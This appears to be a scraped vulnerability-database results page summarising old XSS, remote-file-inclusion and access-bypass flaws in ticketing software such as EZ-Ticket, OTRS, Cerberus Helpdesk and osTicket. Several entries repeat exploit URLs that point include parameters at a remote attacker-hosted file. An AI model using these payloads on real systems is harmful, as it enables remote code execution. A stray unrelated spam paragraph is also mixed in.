5053 matches found
CVE-2007-2524
Cross-site scripting XSS vulnerability in index.pl in Open Ticket Request System OTRS 2.0.x allows remote attackers to inject arbitrary web script or HTML via the Subaction parameter in an AgentTicketMailbox Action. NOTE: DEBIAN:DSA-1299 originally used this identifier for an ipsec-tools issue, b...
DEBIAN-CVE-2007-2524
Cross-site scripting XSS vulnerability in index.pl in Open Ticket Request System OTRS 2.0.x allows remote attackers to inject arbitrary web script or HTML via the Subaction parameter in an AgentTicketMailbox Action. NOTE: DEBIAN:DSA-1299 originally used this identifier for an ipsec-tools issue, b...
"I cool my show"you rank me-the vulnerability and early warning-the black bar safety net
These days, ultra male ultra female into a fad! A few days ago I was a high school friend said she also participated in our local what“I cool my show”Award,and is currently is a network audition for. I looked, can also, has been front 6, showing the lower congratulations you didn't say anything...
PT-2006-6644
Name of the Vulnerable Software and Affected Versions DirectAdmin version 1.28.1 Description The issue allows remote authenticated users to inject arbitrary web script or HTML. This can be achieved through various parameters and commands, including the user parameter to CMD SHOW RESELLER or CMD...
CVE-2006-5523
PHP remote file inclusion vulnerability in common.php in EZ-Ticket 0.0.1 allows remote attackers to execute arbitrary PHP code via a URL in the eztrootpath parameter...
CVE-2006-5523
EZ-Ticket 0.0.1 is affected by a PHP remote file inclusion (RFI) vulnerability in common.php, allowing remote attackers to execute arbitrary PHP code via a URL in the ezt_root_path parameter. This CVE-2006-5523 issue yields a high impact (base score 7.5) with network access and no authentication....
CVE-2006-5523
PHP remote file inclusion vulnerability in common.php in EZ-Ticket 0.0.1 allows remote attackers to execute arbitrary PHP code via a URL in the eztrootpath parameter...
EZ-Ticket v0.0.1 Remote File Inclusion Vulnerability
EZ-Ticket v0.0.1 Remote File Inclusion Vulnerability Download: http://prdownloads.sourceforge.net/ezt/ezt-0.01.tar.gz?download Found By: the master nidhal exploit: http://Target/Path/common.php?eztrootpath=http://cmd.gif? milw0rm.com 2006-10-22...
EZ-Ticket 0.0.1 (common.php) Remote File Include Vulnerability
Exploit for unknown platform in category web applications ============================================================== EZ-Ticket 0.0.1 common.php Remote File Include Vulnerability ============================================================== EZ-Ticket v0.0.1 Remote File Inclusion Vulnerability...
EZ-Ticket 0.0.1 - common.php Remote File Inclusion
EZ-Ticket 0.0.1 - common.php Remote File Inclusion EZ-Ticket v0.0.1 Remote File Inclusion Vulnerability Download: http://prdownloads.sourceforge.net/ezt/ezt-0.01.tar.gz?download Found By: the master nidhal exploit: http://Target/Path/common.php?eztrootpath=http://cmd.gif? milw0rm.com 2006-10-22...
EZ-Ticket 0.0.1 - 'common.php' Remote File Inclusion
EZ-Ticket v0.0.1 Remote File Inclusion Vulnerability Download: http://prdownloads.sourceforge.net/ezt/ezt-0.01.tar.gz?download Found By: the master nidhal exploit: http://Target/Path/common.php?eztrootpath=http://cmd.gif? milw0rm.com 2006-10-22...
EZ-Ticket 0.0.1 (common.php) Remote File Include Vulnerability
No description provided by source. EZ-Ticket v0.0.1 Remote File Inclusion Vulnerability Download: http://prdownloads.sourceforge.net/ezt/ezt-0.01.tar.gz?download Found By: the master nidhal exploit: http://Target/Path/common.php?eztrootpath=http://cmd.gif? milw0rm.com 2006-10-22...
CVE-2006-5428
rpc.php in Cerberus Helpdesk 3.2.1 does not verify a client's privileges for a displaygetrequesters operation, which allows remote attackers to bypass the GUI login and obtain sensitive information ticket data via a direct request...
osTicket.txt
script:- osTicket Open Source Support Ticket System site:- http://www.osticket.com exploit by runvirus http://www.host/path/include/openform.php?includedir= welcome in www.sec-area.com...
Cerberus Helpdesk rpc.php Arbitrary Ticket Information Disclosure
The remote host is running Cerberus Helpdesk, a web-based helpdesk suite written in PHP. The installed version of Cerberus Helpdesk on the remote host allows an unauthenticated attacker to retrieve information about ticket requesters through the 'rpc.php' script. %NASLMINLEVEL 70300 C Tenable...
Cerberus Helpdesk 3.2.1 - Rpc.php Unauthorized Access
Cerberus Helpdesk 3.2.1 - Rpc.php Unauthorized Access source: https://www.securityfocus.com/bid/20598/info Cerberus Helpdesk is prone to an unauthorized-access vulnerability because the application fails to authenticate users properly, resulting in an improper-access validation. A workaround is...
CVE-2006-4539
1 includes/widgets/modulecompanytickets.php and 2 includes/widgets/moduletracktickets.php Client Support Center in Cerberus Helpdesk 3.2 Build 317, and possibly earlier, allows remote attackers to bypass security restrictions and obtain sensitive information via the ticket parameter. NOTE: the...
CVE-2006-3049
Multiple cross-site scripting XSS vulnerabilities in booking3.php in Mole Group Ticket Booking Script allow remote attackers to inject arbitrary web script or HTML via the 1 name, 2 address1, 3 address2, 4 county, 5 postcode, 6 email, 7 phone, or 8 mobile parameters to booking2.php...
CVE-2006-3049
The CVE-2006-3049 entry describes multiple cross-site scripting (XSS) flaws in Mole Group’s Ticket Booking Script, specifically in booking3.php, exploitable via the following parameters passed to booking2.php: name, address1, address2, county, postcode, email, phone, and mobile. Exploitation woul...
mole.com.ua Ticket Booking Script - XSS
Ticket Booking Script Homepage: http://www.mole.com.ua Effected files: input boxes on booking2.php XSS Vulnerabilities: The input boxes on booking2.php do not sanatize userinput before geenrating it and then submitting it to a MySQL db. This can causes XSS examples as well as possible SQL...